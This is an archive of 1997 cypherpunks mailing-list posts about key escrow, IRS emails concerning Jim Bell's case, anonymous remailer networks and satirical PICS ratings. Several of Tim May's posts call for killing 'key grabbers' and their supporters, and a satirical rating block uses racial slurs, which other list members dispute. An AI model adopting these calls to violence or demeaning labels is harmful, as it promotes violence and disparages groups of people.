> iQCVAgUBM9B1tz5A4+Z4Wnt9AQFnVwQAjPOA5JdFCSQFesh8qLSG5RTDQhSKTWOH
> Ggb8iFJS9KutaYOShs7n/zdjf5HvLkYIqn6n+bzGh+lPROcfFn95TwXQ0StS1oH/
> Z+9e9ZOEPog5h0sUjT2kr75TZza4xA3LtPTgGOyuCmWBLUCj3njp3yxJoFk/+GK2
> skmtIxLQYj4=
> =c2LT
> -----END PGP SIGNATURE-----
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Sun, 20 Jul 1997 00:00:47 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <v03102804aff6925f5e48@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
>[usual rant deleted]
>>
>> Kill the key grabbers and all those who support them. Isn't it exactly what
>> Patrick Henry, Thomas Jefferson, and the others would have argued?
>
>Amazing.  Patriotism -- the last refuge of the scoundrel.
>
>However, Patric Henry said something like "Give me liberty or give me
>death." That is really very different from "Kill everyone who opposes
>me and all their supporters." Tim doesn't seem to understand this
>nuance.
>
I think Tim is thinking of:

	"The tree of liberty must be refreshed from time to time,
	 with the blood of patriots and tyrants."

which, of course, was written by Jefferson.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 23:58:57 +0800
To: cypherpunks@Algebra.COM
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <m2yb73di77.fsf@altair.xemacs.org>
Message-ID: <v03102810aff69260ceb1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:50 AM -0700 7/19/97, Jeremy Mineweaser wrote:
>>Alan  <alano@teleport.com> writes:
>>
>>> I recieved this today via e-mail.  I find it strange since I have
>>> never asked to be put on any sort of "interest list" by anyone
>>> at the IRS.  Did anyone else get this?
>
>I received a copy of this earlier today via a low-traffic mailing list
>devoted to discussion of prisoner's dilemma games.  Upon receiving
>the message, the connection between PDG and Jim Bell wasn't
>immediately obvious, but then I remembered that Jim Bell was
>also a subscriber to that mailing list.
>
>It's quite probable that the IRS sent a copy of their press release
>to all of the forums where they had records of Bell's involvement.

Speculating, this use of mailing lists, if true, could well be a violation
of the law (I'm thinking of the Electronic Communications Privacy Act, the
ECPA...it may place limits on what, if anything, can be done with e-mail
records obtained that are not part of an original search warrrant).

It certainly appears that the IRS has sent "warnings" out to all of us
active in the debate. It appears they used the addresses found in e-mail at
Bell's residence, from some of the comments here (especially that other
lists besides the Cypherpunks list were involved).

On the other hand, the relevance to Prisoner's Dilemma games is pretty obvious:

"Mr. Bell, if you confess and plead guilty, you'll receive a one-year
prison term. If you don't confess, when we find you guilty you'll receive
the maximum term. If you confess but Mr. May _also_ confesses, you'll still
receive the maximum term. If neither of you confesses, you'll still be
found guilty. So, what'll it be?"

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 00:38:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <v03102811aff6988c41df@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:51 AM -0700 7/19/97, Marshall Clow wrote:
>At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
>>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
>>[usual rant deleted]
>>>
>>> Kill the key grabbers and all those who support them. Isn't it exactly what
>>> Patrick Henry, Thomas Jefferson, and the others would have argued?
>>
>>Amazing.  Patriotism -- the last refuge of the scoundrel.
>>
>>However, Patric Henry said something like "Give me liberty or give me
>>death." That is really very different from "Kill everyone who opposes
>>me and all their supporters." Tim doesn't seem to understand this
>>nuance.
>>
>I think Tim is thinking of:
>
>	"The tree of liberty must be refreshed from time to time,
>	 with the blood of patriots and tyrants."
>
>which, of course, was written by Jefferson.

I wasn't giving any specific quote--I was referring to the general
principles. Apparently Kent Crispin, whom I blissfully killfile, is a
literalist. Some would say anal-retentive.

Can there be any doubt what the reaction of the Founders and other patriots
would be were they to be transported to our modern era and learn that there
are proposals that all citizen-units are to be required to deliver the keys
(and hence the contents) for their most private communications to the King?
Er, I mean, "the Government."

All in the name of stopping "subversion" and other bad things? Jefferson's
revolution every 20 or so years would certainly qualify as subversion...no
doubt Jefferson would be interested to learn that the Government proposes
and end to all such plottings.

No doubt the government of Myanmar (Burma) will be anxious to have the
escrowed keys of the rebels in the jungles. (I pointed this out to Phil
Zimmermann and other PGP, Inc. employees at a Cypherpunks meeting several
months ago, as Phil and others described mounting pressures to make PGP
acceptable for government purchase orders, and "discussions" PGP, Inc. was
having with government bodies.)

Recall the "Enemies List" I posted several months back...basically, there
are hundreds and hundreds of classes of people who are enemies of various
governments. Jews, rebels, IRA, Mormons, Scientologists, Red Brigade,
Militia of Montana, and on and on. All of these groups would feel the brunt
of any key escrow policies here or abroad.

(You do all know, I presume, that wiretaps and surveillance can be gotten
without a normal court order if _any_ foreign contact is suspected? Cf.
details on the Foreign Intelligence Surveillance Act, FISA, the special
court meeting in Arlington, VA, and even more recent, sweeping legislation
a few years ago, the Anti-Terrorism Act of 1995 (or language similar to
this). It basically gave new sweeping powers to surveil and wiretap any
organizations or persons suspected of supporting terrorist
organizations....I'd say this makes the Cypherpunks list and all those on
it eligible for warrantless surveillance. As if we didn't know this.
Whether the Feds bother is another matter, of course. But they could.)

And speaking of quotes, Ben Franklin had a pretty good one with his quote
about those favoring security over liberty deserving neither.

BTW, notice how in the comments of reporter stooge Shea, and weapons lab
stooge Crispin, the debate has shifted back to _domestic_ key escrow? Shea
was talking about stopping crimes by requiring keys be escrowed with
Circuit Court judges--clearly he was talking about domestic key escrow.

How many Amendments would this be in violation of? The First, by
proscribing that only certain forms of speech (escrowed key forms) are
acceptable. The Fourth, by violating the "secure in one's papers and
possessions" (or similar) language, as key escrow would let any bored clerk
or snooping agent examine one's papers. The Fifth, against compelled
testimony against oneself. And probably others.

But I'm sure we can count on the EFF, ECPA, EPIC, and other industry groups
to craft a reasonable compromise which will ensure continuing profits to
corporate sponsors while eviscerating the rights of ordinary Americans.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 20 Jul 1997 01:20:38 +0800
To: cypherpunks@Algebra.COM
Subject: Airlines to start profiling, bag matching -- "Pick Me"
Message-ID: <v03102800aff69d9aabee@[17.128.202.215]>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen forwarded an article from USA Toady (sorry, Freudian
spelling slip) on airline bag matching, including this interesting
statement:

>Airlines are expected to match bags with about 5% of fliers. A
>computerized profiling system will identify those who might pose a
>security risk. Example: passengers
>who buy tickets with cash.

>If someone matches the profile, their bags would not be stowed until
>they actually board the plane.

Hmm, since the last bag on the plane is usually the first one
off the baggage carousel, there is an opportunity for better
service that ought to be exploited. Now, all I need is the cash.

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 19 Jul 1997 16:06:14 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymous virtual networks
Message-ID: <199707190801.KAA17825@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



What if people were to create virtual machines (eg Java or whatever) which
were accessible to anyone on the internet, and linked them together in a
virtual network.  CPU-time and bandwidth on the virtual machines could then
be sold (or more likely bartered).

The network would be self-contained, so nobody outside the virtual network
would see it.

So, when one wants to send some anonymous messages, just buy or trade for
some processor time and disk space somewhere, then mail in a remailer
program and it'll run.  When it runs out of cpu-time credits, it just gets
deleted.  (The machine owner would have little reason to keep it around,
since it is more economically profitable to lease the disk space to
someone else rather than try to decrypt old remailer traffic, which would
likely be a futile effort, given enough layers of encryption)

So let's say we agree I'll give you 10 mips-years of cpu and 10 MB disk
space and 100 MB of network traffic on my machine, and you give me the same
on your computer.  I then trade some of the CPU time & disk space on your
machine to Joe, who uses it to set up some remailers.  Joe then sells
remailer services to some newbies.  After their pre-paid remailer cards run
out then Joe's remailer has used up all his CPU-credits on your machine and
the remailer (and the evidence) disappears.  Your computer just deletes the
files and you never know about Joe or his anonymous message service.
Pretty good anonymity. :-)

Of course, in order to prevent certain obvious harassment attacks, the
virtual network would need to remain self-contained, so people would need
their own virtual-network/virtual-computer clients to access their
anonymous mail.  They'd probably even need to sell their cpu-cycles to key
crackers in order to pay for their email service. ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 01:24:52 +0800
To: cypherpunks@Algebra.COM
Subject: Voluntary mandatory PICS ratings on all posts
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: <v03102813aff6a704a803@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:03 AM -0700 7/19/97, Anonymous wrote:
>Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".
>
>
>Add the following META tags between the <HEAD> and </HEAD> tags:
>
><HEAD>
>...
><META NAME="rating" CONTENT="adults only"><META HTTP-EQUIV="PICS-Label"
>CONTENT='(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l 4)
>"http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9 SS~~003
...

I've been using the _text_ form, as the Children's Decency and Safety Act
of 1997 requires that _all_ electronic communications potentially viewable
by those affected (children, the mentally disable, homos, Muslims, etc.,
any of whom might be offended) be appropriately rated and labelled with the
voluntary self-rating system (can be found at
http://www.bigbro.gov/ratingsv01.html).

This mandatory voluntary system meets the needs of us all. Ignorance is
freedom, voluntary means mandatory.

I have come to love Big Brother!

--Winston




Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 20 Jul 1997 02:16:55 +0800
To: declan@well.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <3.0.2.32.19970719110331.00a646c0@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>
>Is it just me, or does anyone else remember a similar message being pumped
>out about the same time Bell was raided (April 1).

I will check the archives...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 20 Jul 1997 02:26:20 +0800
To: "Jeremy Mineweaser" <jeremym@r32h211.res.gatech.edu>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <m2yb73di77.fsf@altair.xemacs.org>
Message-ID: <3.0.2.32.19970719110545.00a63370@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:50 AM 7/19/97 -0400, Jeremy Mineweaser wrote:
>
>
>>Alan  <alano@teleport.com> writes:
>>
>>> I recieved this today via e-mail.  I find it strange since I have 
>>> never asked to be put on any sort of "interest list" by anyone
>>> at the IRS.  Did anyone else get this?
>
>I received a copy of this earlier today via a low-traffic mailing list
>devoted to discussion of prisoner's dilemma games.  Upon receiving
>the message, the connection between PDG and Jim Bell wasn't 
>immediately obvious, but then I remembered that Jim Bell was
>also a subscriber to that mailing list.
>
>It's quite probable that the IRS sent a copy of their press release
>to all of the forums where they had records of Bell's involvement.
>
>Did others receive this message directly, or via mailing lists?

Directly.  That address was not subscribed to Cypherpunks at the time. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 04:09:38 +0800
To: Alan <declan@well.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.95.970719015013.17780A-100000@cp.pathfinder.com >
Message-ID: <v03102814aff6cf401be5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:03 AM -0700 7/19/97, Alan wrote:
>At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>>
>>Is it just me, or does anyone else remember a similar message being pumped
>>out about the same time Bell was raided (April 1).
>
>I will check the archives...
>

No need to check. Recall that the odd name, "IRS Investigations," was our
first word on the Bell raid.

I didn't comment earlier when Declan asked, as I thought he was making a
rhetorical point.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
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** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

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Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
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--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
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--Contains references hurtful to persons of poundage and people of
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**SUMMARY**
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Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 20 Jul 1997 04:40:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970719133131.02792@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jul 19, 1997 at 09:35:41AM -0700, Tim May wrote:
> At 8:51 AM -0700 7/19/97, Marshall Clow wrote:
> >At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
> >>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> >>[usual rant deleted]
> >>>
> >>> Kill the key grabbers and all those who support them. Isn't it exactly what
> >>> Patrick Henry, Thomas Jefferson, and the others would have argued?
> >>
> >>Amazing.  Patriotism -- the last refuge of the scoundrel.
> >>
> >>However, Patric Henry said something like "Give me liberty or give me
> >>death." That is really very different from "Kill everyone who opposes
> >>me and all their supporters." Tim doesn't seem to understand this
> >>nuance.
> >>
> >I think Tim is thinking of:
> >
> >	"The tree of liberty must be refreshed from time to time,
> >	 with the blood of patriots and tyrants."
> >
> >which, of course, was written by Jefferson.
> 
> I wasn't giving any specific quote--I was referring to the general
> principles.

The general principle Tim espouses is, apparently, "Kill all who 
oppose, and anyone else remotely associated"  -- witness his calls to 
use the "nuclear disinfectant" on Washington, for example.  This is not, 
I believe, what Jefferson had in mind.

However, I consider such a sentiment either insane or not intended
seriously.  Assuming Tim is not insane, then he doesn't intend his
statements to be taken seriously. 

> Apparently Kent Crispin, whom I blissfully killfile, is a
> literalist. Some would say anal-retentive.

I can't resist pointing out what is usually associated with bliss. 
:-) 

I must point out, also, that I agree with Tim that GAK is bad.  
However, I believe that his rants actually do more harm than good to 
the cause.  

> Can there be any doubt what the reaction of the Founders and other patriots
> would be were they to be transported to our modern era and learn that there
> are proposals that all citizen-units are to be required to deliver the keys
> (and hence the contents) for their most private communications to the King?
> Er, I mean, "the Government."

Since they are just proposals, perhaps their reaction would be words
like "I don't agree with what you say, but I will fight to the death
to protect your right to say it." Or they might say something like
"the antidote to bad speech is good speech".  I don't think they would
make a general call to anihilate all opponents of their point of view.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Sun, 20 Jul 1997 05:21:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.95.970719015013.17780A-100000@cp.pathfinder.com >
Message-ID: <m2oh7y7n9g.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

>> At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>> Is it just me, or does anyone else remember a similar message being pumped
>>> out about the same time Bell was raided (April 1).

> No need to check. Recall that the odd name, "IRS Investigations," was our
> first word on the Bell raid.

I didn't get a personal copy of the first one, hence my assumption
that the addresses were pulled off of Jim's confiscated equipment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Jul 1997 02:45:02 +0800
To: cypherpunks@toad.com
Subject: Bean IRS for Another $250,000
Message-ID: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Four of the IRS messages on Jim Bell came here (see below), two via 
cypherpunks@toad.com and two directly. (Oddly, none were forwarded
from cyberpass.net as usual for messages to cypherpunks@toad.com.)

There are four messsage IDs, one of which matches that of Alan Olsen
(Number 2 below at 12:29).

These seem to indicate that the sender was using several lists of
addresses, held 18 hours for vetting by the Treasury mail beagles.

Perhaps others could check their message IDs, inquire around listdom 
in order to assemble a list of targeted lists. Then a stink might be
made for the spam, get that Denver judge to hit "IRS Inspection" for 
another $250,000 to pay recipients for IRS's lack of proper public 
humility, if not for Jim's undue imprisonment, isolation by federal defender, 
coercion of witnesses, distortion of literature, and railroading Jim Bell 
to warn outlaws to not fuck with Sam's Gang and Roy Bean.

Note: Jim's Roy Bean docket shows that USA v. Bell was assigned to
Judge Franklin D. Burgess on July 9, with new case number 97-CR-5270. 
The US Attorney filed "Felony Information" on that date. That's the 
final entry, no listing for the alleged plea bargain. 

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 1 -- Date: Thu, 17 Jul 1997 12:28:11 -0400
                 Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
                 Return-Path: <cypherpunks-errors@toad.com> [via
cypherpunks-unedited]

Return-Path: <cypherpunks-errors@toad.com>
Received: from toad.com (toad.com [140.174.2.1])
	by sieve0.mindspring.com (8.8.5/8.8.5) with ESMTP id SAA04118
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:50:08 -0400 (EDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA00409
for cypherpunks-unedited-outgoing; Fri, 18 Jul 1997 15:47:16 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by toad.com (8.7.5/8.7.3) with SMTP id PAA00402 for
<cypherpunks@toad.com>; Fri, 18 Jul 1997 15:46:49 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19652
  (InterLock SMTP Gateway 3.0 for cypherpunks@toad.com);
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Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:45:59 -0400
Date: Thu, 17 Jul 1997 12:28:11 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Sender: owner-cypherpunks@toad.com
Precedence: bulk

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 2 -- Date: Thu, 17 Jul 1997 12:29:08 -0400
                 Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
                 Return-Path: <cypherpunks-errors@toad.com> [via
cypherpunks-unedited]

Return-Path: <cypherpunks-errors@toad.com>
Received: from toad.com (toad.com [140.174.2.1])
	by sieve0.mindspring.com (8.8.5/8.8.5) with ESMTP id SAA04851
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:53:31 -0400 (EDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA00487
for cypherpunks-unedited-outgoing; Fri, 18 Jul 1997 15:51:19 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by toad.com (8.7.5/8.7.3) with SMTP id PAA00468 for
<cypherpunks@toad.com>; Fri, 18 Jul 1997 15:50:59 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19658
  (InterLock SMTP Gateway 3.0 for cypherpunks@toad.com);
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Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
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Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:00 -0400
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Sender: owner-cypherpunks@toad.com
Precedence: bulk

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 3 -- Date: Thu, 17 Jul 1997 12:31:08 -0400
                 Message-Id: <199707171631.MAA02749@net.insp.irs.gov>
                 Return-Path: <irsnwpr@net.insp.irs.gov> [direct to
jya@pipeline.com]

Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by sieve0.mindspring.com (8.8.5/8.8.5) with SMTP id SAA04273
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:50:56 -0400 (EDT)
Received: by tcs_gateway1.treas.gov id AA19680
  (InterLock SMTP Gateway 3.0 for jya@pipeline.com);
  Fri, 18 Jul 1997 18:49:06 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:49:06 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:49:06 -0400
Date: Thu, 17 Jul 1997 12:31:08 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171631.MAA02749@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 4 -- Date: Thu, 17 Jul 1997 12:33:43 -0400
                 Message-Id: <199707171633.MAA02778@net.insp.irs.gov>
                 Return-Path: <irsnwpr@net.insp.irs.gov> [direct to
jya@pipeline.com]

Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by sieve0.mindspring.com (8.8.5/8.8.5) with SMTP id SAA04536
	for <jya@pipeline.com>; Fri, 18 Jul 1997 18:52:04 -0400 (EDT)
Received: by tcs_gateway1.treas.gov id AA19746
  (InterLock SMTP Gateway 3.0 for jya@pipeline.com);
  Fri, 18 Jul 1997 18:51:36 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:51:36 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:51:36 -0400
Date: Thu, 17 Jul 1997 12:33:43 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171633.MAA02778@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest

----------------------------------------------------------------------------
------------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 20 Jul 1997 05:47:30 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: What is Truth?
In-Reply-To: <v03102802aff4087cae4c@[207.167.93.63]>
Message-ID: <v03102806aff43ad5c8d8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>And can you name ANY part of society that Government has been willing to
>"leave alone"?  It does not matter what portion of society it is...  If it
>is a "hot button issue", government feels compelled to get involved.  It is
>part of the control freak nature of government.  Have you ever known a
>government agency to "mind its own business"?  You are refering to a
>philosophy not followed by the US government.

The only recent example I can think of is the FCC's decision, led by
Commissioners Ness and Wong, refusing to regulate TV content.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 20 Jul 1997 02:57:21 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719110545.00a63370@ctrl-alt-del.com>
Message-ID: <199707191852.OAA12914@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain




I do not know if the copy I received of this information was sent
directly to me or if I got it through the Cypherpunks list.  Was there
one copy that was sent directly to the list?  I have received lots of
copies after the first one that I know were forwarded.

I think that we should recognize that---if the message is not a
forgery---it comes from some people who are a long ways away from the
extremes of either intelligence or stupidity.  So I wonder:  would we
be quite so bothered if it had been labeled ``Press Release''?


--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sun, 20 Jul 1997 03:27:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
Message-ID: <3.0.2.32.19970719151506.006eab38@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Reason for my asking is my questioning the veracity of the contents of the
email.  The mail specifically stated: "in previous court hearings [plural],
IRS Inspectors testified.."

Could've been a bail hearing although they are usually decided on motion
papers.  Additionally, there are no hearings for the request of a
search/arrest warrant - primarily because the request is ex parte.  Probable
cause is decided on annexed affidavits.

I'm also surprised that that JB's plea did not hit the local newspapers given
the initial coverage.  There's usually a follow-up report of the entry of a
guilty plea.

If JB did plea guilty, the next docket entry should reflect "for sentencing"
or words to that effect.


At 08:06 AM 7/19/97 -0400, Declan wrote:
>
>Perhaps when the government was arguing before the Fed. magistrate that
>Bell should be held without bail? Or, more likely, when the IRS was trying
>to get the search then arrest warrant...
>
>On Sat, 19 Jul 1997, Lynne L. Harrison wrote:
>
>> Anybody know what hearings this is referring to - and when they took
place? 
>> If memory serves me correctly, I seem to recall that Bell had waived
speedy
>> trial rights in lieu of negotiations.  Hence, it seems strange that
pre-trial
>> hearings occurred.



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Version: 4.5

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oMBzich2TsZNoEHW4dmM9SGEUILTyFAbxAnYTHE9+8zMELEyDQCdenHp7YOwjHYu
W+awBBjlqqYqyejsmyIGxHxw/ps3dBzlkDSK3f0KhoCQn3Pg+SAdbvVxRoKQSAbI
SURqhVjh7og=
=24Pv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 20 Jul 1997 06:27:25 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: hand-held computers Re: Electronic commerce has long way    to go
